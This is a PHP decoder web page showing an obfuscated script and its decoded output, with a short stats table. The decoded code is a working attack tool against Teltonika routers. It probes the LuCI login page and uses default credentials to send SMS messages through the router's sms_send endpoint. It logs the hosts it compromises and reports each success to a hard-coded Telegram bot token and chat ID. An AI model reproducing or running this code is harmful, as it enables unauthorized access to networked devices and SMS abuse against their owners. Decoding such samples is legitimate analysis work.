Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrHDqxVEvya0c7e8FN7ovHe28sK773n6..
Decoded Output download
error_reporting(0);
$host = $argv[1];
if(($host=='443') || ($host=='1443') || ($host=='2443') || ($host=='3443') || ($host=='4443') || ($host=='5443') || ($host=='6443') || ($host=='7443') || ($host=='8443') || ($host=='9443')|| ($host=='10443'))
{
$ip = 'https://'.$host;
}else{
$ip = 'http://'.$host;
}
$ch=curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" );
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_URL,"$ip/cgi-bin/luci");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_TIMEOUT,5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$exec = curl_exec($ch);
$response = curl_getinfo($ch);
if(preg_match('/Authorization Required/i', $exec) )
{
echo " [+] $ip ==> \e[92m[ FOUND ] \e[0m
";
file_put_contents('Teltonika-ips-work.lst', "$ip
", FILE_APPEND);
curl_setopt($ch, CURLOPT_URL, "$ip/cgi-bin/sms_send?username=user1&password=user_pass&number=0012023899392&text=z3r0-c00l");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$second = curl_exec($ch);
if (preg_match('/Bad username or password/i', $second))
{
echo" [+] $ip \e[31mBad username or password\e[0m
";
}
elseif(preg_match('/OK/i', $second))
{
$apiToken = "5035996171:AAG1h5HdOJVFnODaiAk6w0NBI_Yc5Nl10qo";
$data = ['chat_id' => '821970401','text' => 'Success-send-sms ==> '.$ip];
$response = file_get_contents("https://api.telegram.org/bot$apiToken/sendMessage?" . http_build_query($data) );
echo" [+] $ip sms send \e[92m[Success]\e[0m
";
file_put_contents('Success-send-sms.lst', "$ip
", FILE_APPEND);
}
else
{
echo" [+] $ip \e[31m[sms send Field]\e[0m
";
}
}
else
{
echo" [+] $ip \e[31m[not found]\e[0m
";
}
Did this file decode correctly?
Original Code
<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('LUrHDqxVEvya0c7e8FN7ovHe28sK773n6xfmegupKZEUTHYiIpdtuP/e+iNe76Fc/h6Hb8GQ/87LlMzL3/nQR/n9/8W/cWgB82/UeYVMfeSeHutzjTPqK+SJdzRTMZnOx7CmpAWOKHXJgrb+C9IfdsZMyfwLssOhPMKsfO/eK1T7oEVbdVXJaoW/hvkK8pmrII+VwfO77gW25FpkpqwWwA0DTghRwMkCVLnaG/h2Cdt0taT35SYNUXVpHCKMXKAlctMgKatQwSXp0Qh+DWFqTm7251WJkbeGL+09AZOwxspMxrUxOEOUBv02pIsvWJYWGtNdhLtVKxA3G5mN+zCHEV+AjnAQl8Ju+2rZ263dKxx+YZvmcp56FHkZ6tyixwR+58tHIPP9Bd1+UFeA0cEhaoS60b7mUe6TNxiprQYCenra6X50SQ8QBIvfEnHtr1YHi8hGEUPa+eITGHwi9q7ml0gg/B5VHILQ96oB+S1JrhYMYmbx1tBaE1DTgO/3/LCzmSSe4oIDNojoOsdYiZD+JJxWltTq8ihUZ3uaXI++9Shx2iqHMp2LlPTd++33Gix8uAphpldNvzL8by6U7zSBoOzTHLZBwiCzd3QLcmk4AQJCehK6rXUtwri14HUk1vJraemjQ47FN1KpF373mKMMFTVjkegSlGFTiWb5R4Ioi66GNIGxjmX4PcOGSQxRuNcMHxhi2nni7OSdla33fvhalmYNau5ohTkSt0JDb6255vN7+NLjACkcvk0rkon5AZDk0Sep6cl93BX5G98ny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6lTrLwmVkHd0OC5bhIvsT9IwWkjAZazmxFuZjKM9vJwrzR4oBFXKQa2PDTCozR5DuqCFOrdWrXlxYB8uDli9twrbX8byqxN4ia81zhoD8Xvgzqf++8xGiGROUqTTy1y36KPor259KeIadFNbuxya2WUVOWQaYM/B34P74pT6cN1z2OxPD0cS/T0q3coJ0j61NNv9GHK6AgBWxnsEDU6RxZNhxy15AYVl508QZ6EjSjvpUBlZVg6wgHMAHkgZ3hEXV6HCAuULtzIFDEqPs7RTn2nDMuwg/VERXRUpjwuQ+zGUlsWG7z/BRAplvLx7gGBquxGXB908itZPMkqzUk5IniaWQbvpndNNekEKHVlwJLPE7odgVjFUunDaU5wWYRy04+qA0KSXwDAzJqcyKbCZkhrS+9eKVUQfaebSrQGBWBUJWxKa+nt9UU4G33/4uniHMssZu+QL7FCRHsUqUsl/m2ByQYc3X4MHtbMwSxX2LzT2G3+mGNaJAAGS78G1vc43VnKlqwSB+w2TJwgOKlbCrehcG94NKLV3Z/TTKGy/9KOPNMNYZyeO40d9OavkGrkshPi3fkqNBMu8YEIY684PVxDjiA81g7hbO6B7t6ijbG/szUdVNW9zJPxmlKWWIsZyZIqDL2cHHkW/rqq2yPjQwkzObXM/82c4DLYinxFzKBDXXTGxxUFURrGF+5Y/NB8liAaoJBl/+NmfQwwR1IXZ20f6RJTq/URuzRN9niKpevIYo7sylWi3yjbMu4VzuW6D65lK7bHbki1Q6/ELB6sTwh5GJP38fuDN/weZ7/evf7+8//wM=')))));
?>
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | d256156d17bddacfd33027a174c37b50 |
Eval Count | 16 |
Decode Time | 113 ms |